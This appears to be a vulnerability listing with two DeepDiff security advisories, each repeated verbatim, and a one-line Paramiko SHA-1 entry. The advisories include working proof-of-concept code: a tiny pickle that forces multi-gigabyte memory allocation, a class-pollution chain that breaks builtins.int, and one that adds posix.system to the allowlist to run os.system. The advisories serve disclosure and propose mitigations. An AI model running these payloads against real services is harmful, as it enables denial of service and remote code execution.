Vulnerabilities

### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

### Summary The pickle unpickler `_RestrictedUnpickler` validates which classes can be loaded but does not limit their constructor arguments. A few of the types in `SAFE_TO_IMPORT` have constructors that allocate memory proportional to their input (`builtins.bytes`, `builtins.list`, `builtins.range`). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call `pickle_load` with untrusted data. ### Details CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting `SAFE_TO_IMPORT` to a `frozenset` and blocking traversal. `_RestrictedUnpickler.find_class` only gates which classes can be loaded. It doesn't intercept `REDUCE` opcodes or validate what is passed to constructors. It can be exploited in 2 ways. **1 - During `pickle_load`** A pickle that calls `bytes(N)` using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override `load_reduce` so any allowed class can be called. ``` GLOBAL builtins.bytes (passes find_class check — serialization.py:353) INT 10000000000 (10 billion) TUPLE + REDUCE → bytes(10**10) → allocates ~9.3 GB ``` **2 - During delta application** A valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard. ### PoC The script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation. ```python import resource import sys def limit_memory(maxsize_mb): """Cap virtual memory for this process.""" soft, hard = resource.getrlimit(resource.RLIMIT_AS) maxsize_bytes = maxsize_mb * 1024 * 1024 try: resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard)) print(f"[*] Memory limit set to {maxsize_mb} MB") except ValueError: print("[!] Failed to set memory limit.") sys.exit(1) # Load heavy imports before enforcing the limit from deepdiff import Delta from deepdiff.serialization import pickle_dump, pickle_load limit_memory(1024) # --- Delta application path --- payload_dict = { 'values_changed': {"root['x']": {'new_value': 10**8}}, 'type_changes': {"root['x']": {'new_type': bytes}}, } payload1 = pickle_dump(payload_dict) print(f"Payload size: {len(payload1)} bytes") target = {'x': 'anything'} try: result = target + Delta(payload1) print(f"Allocated: {len(result['x']) // 1024 // 1024} MB") print(f"Amplification: {len(result['x']) // len(payload1)}x") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") # --- Raw pickle path --- payload2 = ( b"(dp0\n" b"S'_'\n" b"cbuiltins\nbytes\n" b"(I100000000\n" b"tR" b"s." ) print(f"Payload size: {len(payload2)} bytes") try: result2 = pickle_load(payload2) print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB") except MemoryError: print("[!] MemoryError — payload tried to allocate too much") ``` Output: ``` [*] Memory limit set to 1024 MB Payload size: 123 bytes Allocated: 95 MB Amplification: 813008x Payload size: 42 bytes Allocated: 95 MB ``` ### Impact Denial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion. The amplification is large. 800,000x for delta and 2,000,000x for raw pickle. Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

### Summary [Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization). The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution. ### Details The `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle). When it takes a dictionary, it is usually in the following format: ```py Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}}) ``` Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23 However, this code only runs when parsing the path from a string. The `_path_to_elements` function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53 This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter: ```py Delta( { "dictionary_item_added": { ( ("root", "GETATTR"), ("__init__", "GETATTR"), ("__globals__", "GETATTR"), ("PWNED", "GET"), ): 1337 } }, ) ``` Going back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the `Delta`, an attacker can add new entries to this `set`. This then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example. #### Using dict Usually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there. However, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python. Passing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list. ### Proof of Concept With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to `Delta` is assumed to be user-controlled. #### Denial of Service This script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked. ```py # ------------[ Setup ]------------ import pickle from deepdiff.helper import Opcode pollute_int = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "dictionary_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("__builtins__", "GET"), ("int", "GET"), ): "no longer a class" }, } ) assert isinstance(pollute_int, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Before pollution print(int("41") + 1) # Apply Delta to mydict result = mydict + Delta(pollute_int) print(int("1337")) ``` ```shell $ python poc_dos.py 42 Traceback (most recent call last): File "/tmp/poc_dos.py", line 43, in <module> print(int("1337")) TypeError: 'str' object is not callable ``` #### Remote Code Execution This script will create a file at `/tmp/pwned` with the output of `id`. ```py # ------------[ Setup ]------------ import os import pickle from deepdiff.helper import Opcode pollute_safe_to_import = pickle.dumps( { "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}}, "set_item_added": { ( ("root", "GETATTR"), ("tmp", "GET"), ("__repr__", "GETATTR"), ("__globals__", "GETATTR"), ("sys", "GET"), ("modules", "GETATTR"), ("deepdiff.serialization", "GET"), ("SAFE_TO_IMPORT", "GETATTR"), ): set(["posix.system"]) }, } ) # From https://davidhamann.de/2020/04/05/exploiting-python-pickle/ class RCE: def __reduce__(self): cmd = "id > /tmp/pwned" return os.system, (cmd,) # Wrap object with dictionary so that Delta does not crash rce_pickle = pickle.dumps({"_": RCE()}) assert isinstance(pollute_safe_to_import, bytes) assert isinstance(rce_pickle, bytes) # ------------[ Exploit ]------------ # This could be some example, vulnerable, application. # The inputs above could be sent via HTTP, for example. from deepdiff import Delta # Existing dictionary; it is assumed that it contains # at least one entry, otherwise a different Delta needs to be # applied first, adding an entry to the dictionary. mydict = {"tmp": "foobar"} # Apply Delta to mydict result = mydict + Delta(pollute_safe_to_import) Delta(rce_pickle) # no need to apply this Delta ``` ```shell $ python poc_rce.py $ cat /tmp/pwned uid=1000(dtc) gid=100(users) groups=100(users),1(wheel) ``` ### Who is affected? Only applications that pass (untrusted) user input directly into `Delta` are affected. While input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass. ### Mitigations A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`, and possibly in `deepdiff.delta.Delta._get_elements_and_details`. Example code that raises an error when traversing these properties: ```py if elem.startswith("__") and elem.endswith("__"): raise ValueError("traversing dunder attributes is not allowed") ``` However, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.

In Paramiko through 4.0.0 before a448945, rsakey.py allows the SHA-1 algorithm.